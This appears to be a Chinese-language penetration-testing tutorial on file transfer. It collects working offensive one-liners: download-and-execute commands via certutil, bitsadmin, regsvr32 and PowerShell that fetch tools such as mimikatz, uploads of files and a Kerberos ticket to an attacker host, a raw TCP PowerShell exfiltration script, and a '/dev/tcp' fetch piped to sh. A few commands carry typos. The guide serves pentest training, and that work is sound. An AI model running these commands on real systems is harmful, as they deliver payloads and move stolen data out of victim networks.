渗透测试技巧(一)| 文件传输

0 阅读4分钟

渗透测试时,文件的相互传递非常重要,是一个必不可少的一个技能。渗透测试过程中,尽量以Living Off The Land (LOTL)的方式利用,达到文件传输或信息传输的目的。以下是各类方式

http服务

服务搭建

用python

python3 -m http.server 4444              # python3
python2 -m SimpleHTTPServer 89       # python2

用php

php -S 0:8080

ruby

下面的命令会在当前目录下启动 HTTP 服务,端口为 1337

ruby -rwebrick -e'WEBrick::HTTPServer.new(:Port => 1337, :DocumentRoot => Dir.pwd).start'
# Ruby 1.9.2+
ruby -run -e httpd . -p 1337

perl

perl -MHTTP::Server::Brick -e '$s=HTTP::Server::Brick->new(port=>1337); $s->mount("/"=>{path=>"."}); $s->start'
perl -MIO::All -e 'io(":8080")->fork->accept->(sub { $_[0] < io(-x $1 +? "./$1 |" : $1) if /^GET \/(.*) / })'

用apache

systemctl restart apache2
systemctl status apache2
默认目录:/var/www/html

http下载

# linux
curl http://192.168.1.1/robots.txt > 1.txt
wget http://192.168.1.1/robots.txt

# windows
certutil -urlcache -split -f http://192.168.45.218/mimikatz.exe mimikatz.exe
powershell -c "(new-object System.Net.Webclient).DownloadFile('http://10,11.0.4/wget,exe' ,'C:\users\offsec\Desktop\wget.exe')"

## regsvr32
regsvr32 /u /s /i:http://1.2.3.4/5.exe scrobj.dll

AWK命令:

awk 'BEGIN {
  RS = ORS = "\r\n"
  HTTPCon = "/inet/tcp/0/127.0.0.1/1337"
  print "GET /secret.txt HTTP/1.1\r\nConnection: close\r\n"    |& HTTPCon
  while (HTTPCon |& getline > 0)
      print $0
  close(HTTPCon)
}'

各个进程可用的下载方式,在线库查询:lolbas

下载并执行

有时候,目标系统会扫描或定时清除硬盘文件,需要下载同时执行:powershell

powershell (new-object System.Net.WebClient).DownloadFile('http://1.2.3.4/5.exe','c:\download\a.exe');start-process 'c:\download\a.exe'

certutil

certutil -urlcache -split -f http://1.2.3.4/5.exe c:\download\a.exe&&c:\download\a.exe

bitsadmin

bitsadmin /transfer n http://1.2.3.4/5.exe c:\download\a.exe && c:\download\a.exe

http上传

python

以下代码保存到 HTTPutServer.py 文件里:

# ref: https://www.snip2code.com/Snippet/905666/Python-HTTP-PUT-test-server
import sys
import signal
from threading import Thread
from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler

class PUTHandler(BaseHTTPRequestHandler):
    def do_PUT(self):
        length = int(self.headers['Content-Length'])
        content = self.rfile.read(length)
        self.send_response(200)
        with open(self.path[1:], "w") as f:
            f.write(content)

def run_on(port):
    print("Starting a HTTP PUT Server on {0} port {1} (http://{0}:{1}) ...".format(sys.argv[1], port))
    server_address = (sys.argv[1], port)
    httpd = HTTPServer(server_address, PUTHandler)
    httpd.serve_forever()

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print("Usage:\n\tpython {0} ip 1337".format(sys.argv[0]))
        sys.exit(1)
    ports = [int(arg) for arg in sys.argv[2:]]
    try:
        for port_number in ports:
            server = Thread(target=run_on, args=[port_number])
            server.daemon = True # Do not make us wait for you to exit
        server.start()
        signal.pause() # Wait for interrupt signal, e.g. KeyboardInterrupt
    except KeyboardInterrupt:
        print "\nPython HTTP PUT Server Stoped."
        sys.exit(1)

然后运行:

$ python HTTPutServer.py 10.10.10.100 1337
Starting a HTTP PUT Server on 10.10.10.100 port 1337 (http://10.10.10.100:1337) ...

最后上传文件:

# curl
$ curl --upload-file secret.txt http://ip:port/

# wget
$ wget --method=PUT --post-file=secret.txt http://ip:port/

# powershell
$body = Get-Content secret.txt
Invoke-RestMethod -Uri http://ip:port/secret.txt -Method PUT -Body $body

powershell

powershell (New-Object System.Net.WebClient).UploadFile('http://10.11.0.4/upload.php''important.docx')

首先,在本地linux启动 web服务,然后生成一个index.php, 内容:

<?php 
  $uploaddir = '/shares/';                         #需建一个目录 /shares,并且 chmod 777 /shares; 文件上传后会到这个目录!
  $uploadfile = $uploaddir . $_FILES['file']['name']; 
  move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile) 
?>

然后,在远程windwos主机,用powershell执行:

powershell (New-Object System.Net.WebClient).UploadFile('http://192.168.45.233:8080/''C:\xampp\htdocs\1-40a10000-appsrv01$@DC01Allison.offsec.local5999-OFFSEC.LOCAL.kirbi')

启动的web服务需要支持post方法。python3 -m http.server 80 不支持

powershell2

  1. 1. 在kali上设置监听
# kali
nc -lvnp 4444 > result.txt
  1. 2. 在目标主机上,执行powershell语句:
$filePath = "c:\temp\test.txt"$kaliIP = "192.168.45.231"$port = 4444; $client = New-Object System.Net.Sockets.TCPClient($kaliIP$port); $stream = $client.GetStream(); $fileStream = New-Object System.IO.FileStream($filePath, [System.IO.FileMode]::Open); $fileStream.CopyTo($stream); $fileStream.Close(); $stream.Flush(); $client.Close()

curl

在本地主机(开了web服务)web主目录新建一个upload.php,用于处理上传请求。内容为:

<?php
  if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {
  $targetDir = './upload/';             // 保存目录   
  $targetFile = $targetDir . basename($_FILES['file']['name']);
  if (move_uploaded_file($_FILES['file']['tmp_name'], $targetFile)) {
    echo 'File uploaded successfully';
  } else {
  echo 'Error uploading file';
  }
}
?>

在远程主机,用curl命令就可以直接上传文件:

#@符不能少;#/tmp/2.txt 是要上传的文件
curl -X POST -F 'file=@/tmp/2.txt' http://192.168.45.202/upload.php

msf

上传文件到目标机器

# upload <本地路径> <远程路径>
upload /root/osce/chall01/winPEASx86_ofs.exe C:\\Windows\\Temp            # C:\\Windows\\Temp

从目标机器下载文件

# download <远程路径> <本地路径>
download C:\\temp\\example.txt .

SSH服务

# SCP命令
scp -P 2222 student@192.168.188.52:/challenge/powershell-uploads ./
  1. 1. 从本地复制到远程在本地服务器上将/root/lk目录下所有的文件传输到服务器43.224.34.73的/home/lk/cpfile目录下,命令为:
scp -r /root/lk root@43.224.34.73:/home/lk/cpfile
  1. 2. 从远程复制到本地在本地服务器上操作,将服务器43.224.34.73上/home/lk/目录下所有的文件全部复制到本地的/root目录下,命令为:
scp -r root@43.224.34.73:/home/lk /root

ftp服务

用python

python -m pyftpdlib -p 21 -w -u test -P test    #pip install pyftpdlib
#参数说明:-w 给写入权限; -u 用户名; -P 密码

用msfconsole

msfconsole
msf> use auxiliary/server/ftp
msf6 auxiliary(server/ftp) > show options
msf6 auxiliary(server/ftp) > run
备注:类似msf还可以搭建很多个服务器!

客户端连接:

ftp 192.168.40.1anonymouse               # 用户名
password                # pass
binary                    # 设置传输模式
ls
get test.txt            # 下载文件
put test.txt            # 上传文件
bye

也可以将以上的语句,放入文件中,直接用ftp命令参数:ftp -s:ftp.txt执行!

open 192.168.40.1anonymouse               # 用户名
password                # pass
binary                    # 设置传输模式
ls
get test.txt            # 下载文件
put test.txt            # 上传文件
bye

tftp

搭建服务器

kali 自带

atftpd --daemon --port 69 /var/www/html

客户端连接:

tftp -i 192.168.40.1 get test.txt

备注:windows xp 和 2003 自带tftp命令。windows10 不自带 tftp命令。

nc.exe

#远程主机2:监听
nc -lvvp 8080 > incoming.exe
#本地主机kali 1:传输
nc -nv 192.168.1.1 8080 < /usr/share/file.txt

远程主机可能没有nc,则可用 cat。

1. 本地主机,起监听
nc -lvvp 4444 < linpeas.sh
2. 远程主机直接读取
cat < /dev/tcp/10.10.10.10/4444                 # 直接运行:cat < /dev/tcp/10.10.10.10/4444 | sh

smb

kali搭建smb服务:

impacket-smbserver share `pwd` -smb2support -username myuser -password mypass

在 Windows 上访问时提供凭据:

# 先添加凭据
net use \\192.168.40.133\share /user:myuser mypass

# 测试:
net view \\192.168.40.133

# 再复制
copy \\192.168.40.133\share\004.hta test.txt

DNS协议TXT记录

使用 DNS TXT 记录进行数据传输的基本原理是,将数据编码后存储在 DNS TXT 记录中,然后客户端通过 DNS 查询获取这些 TXT 记录,再将其解码还原成原始数据。规避流量检测。略。后续专门写一篇公众号说明。